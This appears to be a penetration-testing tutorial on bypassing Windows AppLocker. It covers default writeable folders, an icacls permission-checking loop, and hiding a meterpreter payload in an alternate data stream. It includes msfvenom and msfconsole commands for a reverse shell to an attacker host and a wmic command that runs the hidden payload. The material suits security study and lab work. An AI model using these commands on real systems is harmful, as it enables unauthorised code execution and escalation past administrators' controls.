In this post we will cover the topic of AppLocker Bypass, which can be considered a step towards Windows Privilege Escalation because AppLocker will stuff all of our attempts to execute any files that we transfer onto the victim.

We will start with a hunch that AppLocker is enabled when we find ourselves unable to execute any of our tools on the victim. From there, we will enumerate and confirm that AppLocker is indeed installed and running with default rules. After that, we will look at two techniques that can be used to bypass the restraints of AppLocker so that we can use our tools on the victim.

AppLocker is a feature (policy) that is used to create restrictions on certain file types (applications) and where they can be executed from. For example, an Administrator can set rules with AppLocker that will only allow a user to execute EXE files from C:\Program Files\*. Due to the wildcard (*) this means that an EXE can only be executed from C:\Program Files as well as any of its subfolders.

AppLocker helps you control which apps and files users can run. These include executable files, scripts, Windows Installer files, dynamic-link libraries (DLLs), packaged apps, and packaged app installers.

One thing to note about AppLocker is that it can only be applied to Windows 10 Enterprise and Server 2016 / 2019 operating systems.

Enumerating AppLocker

For this example, we have gotten a shell on a Server 2019 machine as the standard user bill.

systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"

During our initial enumeration, we decide to make a C:\temp folder to work out of as we begin transferring some tools onto the victim. From there, we setup an HTTP server on our attacker machine and then download winPEAS onto the victim.

If you don’t have a copy of winPEAS, you can grab one here.

To see many more ways to transfer files between your attacker machine and a Windows victim, check out my post on the topic here.

With winPEAS now on the victim, we attempt to execute it but we find that we are blocked by the group policy.

This message hints to AppLocker running on the victim. We can confirm if AppLocker is running by using the following PowerShell command:

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Here we can see that AppLocker is indeed running and that the default rules have been set on this host for both executables and scripts. The default rules that are set permit the execution of executables and scripts only from within C:\Windows\* or C:\Program Files\*. This means that we can only execute scripts from either of those folders or any subfolders inside (from the wildcard). The only issue is that these folders generally have tight permissions by default.

AppLocker defines executable rules as any files with the .exe and .com extensions that are associated with an app.

AppLocker defines script rules to include only the following file formats: .ps1 ; .bat ; .cmd ; .vbs ; .js

So now what can we do from here? Well, we can check our permissions on all of the folders in both C:\Program Files and C:\Windows; however, fortunately for us, someone has already done that and created a list of default folders standard users can write to within C:\Windows\*.

AppLocker Bypass – Default Writeable Folders

Navigating to this GitHub page here, we can see that api0cradle has generously created a list of folders within C:\Windows\* that are writeable for standard users by default:

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated (after peforming a version upgrade of Windows 10)
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System

\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

Now our task as the attacker is to confirm our permissions in each of these folders. We could use icacls against them one-by-one; however, for this example we will create a file and then user a for loop to run icacls against each line of the file.

First we need to create the icacls.txt file on our attacker machine by copying the list of default writeable folders above and then pasting them into a text editor, like so:

Now that the file is ready, we can download it onto the victim the same way we did winPEAS.

If you are still in a PowerShell prompt, use the ‘exit’ command to drop back down to a cmd.exe prompt. It will be necessary to make the for loop command work.

Perfect! With the icacls.txt file now on the victim, we can run the following for loop command:

for /F %A in (C:\temp\icacls.txt) do ( cmd.exe /c icacls "%~A" 2>nul | findstr /i "(F) (M) (W) (R,W) (RX,WD) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) 

This command will use a for loop to run icacls against each line of the icacls.txt file. We also filtered our results to show us only the folders we have write permissions on.

Truncating the output to only the first 10 results, we can see that we have write permission in 3 of them!

Now, all we need to do is copy out executable that we are trying to run into one of the folders that we have confirmed standards users can write in.

copy C:\temp\winPEASx64.exe C:\Windows\Tasks

And then we can execute winPEAS from the C:\Windows\Tasks folder, bypassing the restraints of AppLocker!

This is the easiest way to bypass AppLocker; however, we may find that the Administrator has hardened permissions on the default writeable folders in C:\Windows\*. If this is the case, we need an alternate method to perform our bypass.

AppLocker Bypass – Alternate Data Stream

Another technique that can be used to bypass AppLocker is by embedding an executable into another file (alternate data stream) and then executing the EXE from the ADS.

AppLocker rules do not stop executables from executing inside an ADS. 

It is important to note that when executing a file from an ADS, it opens a new window to run the program. This will be an issue if we are working from a reverse shell as we will not see the output of PEAS for example.

Since we do not have GUI access right now, we will switch up the example from winPEAS to a meterpreter shell upgrade.

Let’s say for example that we did not find any writeable folders in C:\Windows\*, our next option is to try and find a writeable folder or file in C:\Program Files.

Since there are not any default folders / files in C:\Program Files that are writeable for standard users, we need to focus on non-default folders.

When we check C:\Program Files, we see there is a non-default folder named “Program” so that is where we will start.

First, we need to check our permission on the folder. If we can write here, then we can just copy our executables into this directory and execute them.

icacls "C:\Program Files\Program"

Unfortunately, we find we do not have write permissions on this folder and we will not be able to copy our executables here.

Next, we need to check inside the folder for any files that we could potentially have write permissions to.

icacls "C:\Program Files\Program\*"

By adding the wildcard at the end, we were able to check our permissions on all files / sub-folders of the Program folder. Fortunately for us, we have write permissions on the log file!

Since we have write permissions on the TXT file, we can create an alternate data stream and embed a meterpreter payload into the log file and then execute it.

First, we need to make a meterpreter payload on our attacker machine and then transfer it onto the victim.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f exe -o meterpreter64.exe

Now that the meterpreter payload is on the victim, we can embed it into the log file as an ADS with the following command:

type C:\temp\meterpreter64.exe > "C:\Program Files\Program\log.txt:meterpreter64.exe"

By using the /R switch with the dir command, we were able to confirm that our alternate data stream has been created. Now we need to start a multi/handler listener on our attacker machine to catch the meterpreter shell when we execute it. We can use a 1-liner to setup the listener options and then start the listener right away, like so:

msfconsole -q -x "use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set LHOST 172.16.1.30;set LPORT 443;exploit;"

All that is left now is to execute the meterpreter payload from within the ADS, like so:

wmic process call create '"C:\Program Files\Program\log.txt:meterpreter64.exe"'

Here we can see the command worked and that a new process was created. Then, checking back on our listener, we got a meterpreter shell!

Amazing! We found a way to bypass AppLocker from a writeable file that was located in a folder we do not have write permission on. This is a cool trick and can definitely come in handy. Also, it should be mentioned that multiple executable can be embedded in a single file.

Final Thoughts

In both examples we found a way to bypass AppLocker to get our executables to run. From here, we can now use the output from winPEAS to find out privilege escalation path or we can try testing exploits from the meterpreter session we started. Either way, we are one step closer to administrator or SYSTEM as a result of bypassing AppLocker.

For more ways to bypass AppLocker, check out this GitHub page here.